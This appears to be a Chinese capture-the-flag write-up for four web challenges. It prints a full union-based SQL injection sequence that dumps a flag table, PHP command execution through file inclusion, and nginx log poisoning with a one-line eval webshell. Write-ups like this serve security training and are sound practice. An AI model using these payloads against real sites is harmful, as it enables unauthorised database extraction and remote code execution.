web签到题
查看源码得到flag
web2
手抖点到hint索性直接全抄
1.查当前数据库名称
' or 1=1 union select 1,database(),3 limit 1,2;#--
得到数据库名称web2
2.查看数据库表的数量
' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#--
得到数据库表数量为2
3.查表的名字
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#--
得到表名:flag
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#--
得到表名:user
4.查flag表列的数量
' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
只有1列
5.查flag表列的名字
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
列名为flag
6.查flag表记录的数量
' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#--
只有一条记录
7.查flag表记录值
' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--
得到flag
flag{df3d0b90-788a-4495-8f19-0a320761aa3a}
web3
题目提示我们可以知道这是一道php伪协议+文件包含漏洞的题目
直接get传参url,用bp抓包进行提交
<?php system("ls");?>
得到文件名,然后用cat进行文件内容的获取
<?php system("cat ctf_go_go_go");?>
得到flag
flag{cc8d6dc2-b23e-4b5a-bc25-1d7d4e3e26ac}
web4
看题目感觉和web3很像
这题利用日志注入
通过查看请求头可以知道服务器为Ubuntu,由nginx搭建的网站
nginx的日志文件在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开
查看日志的默认目录,得到了日志文件
?url=/var/log/nginx/access.log
加入一句话木马
<?php @eval($_POST['a']);?>
利用蚁剑连接
在文件夹下找到flag